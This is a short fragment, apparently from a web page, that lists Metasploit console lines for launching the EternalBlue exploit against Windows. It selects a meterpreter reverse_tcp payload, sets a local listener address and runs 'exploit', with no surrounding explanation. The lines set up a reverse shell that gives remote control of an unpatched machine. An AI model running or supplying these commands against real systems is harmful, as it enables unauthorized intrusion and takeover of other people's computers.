windows/x64/meterpreter/reverse_tcp
set LHOST [IP_local]
exploit


 

eternal_blue
bottom of page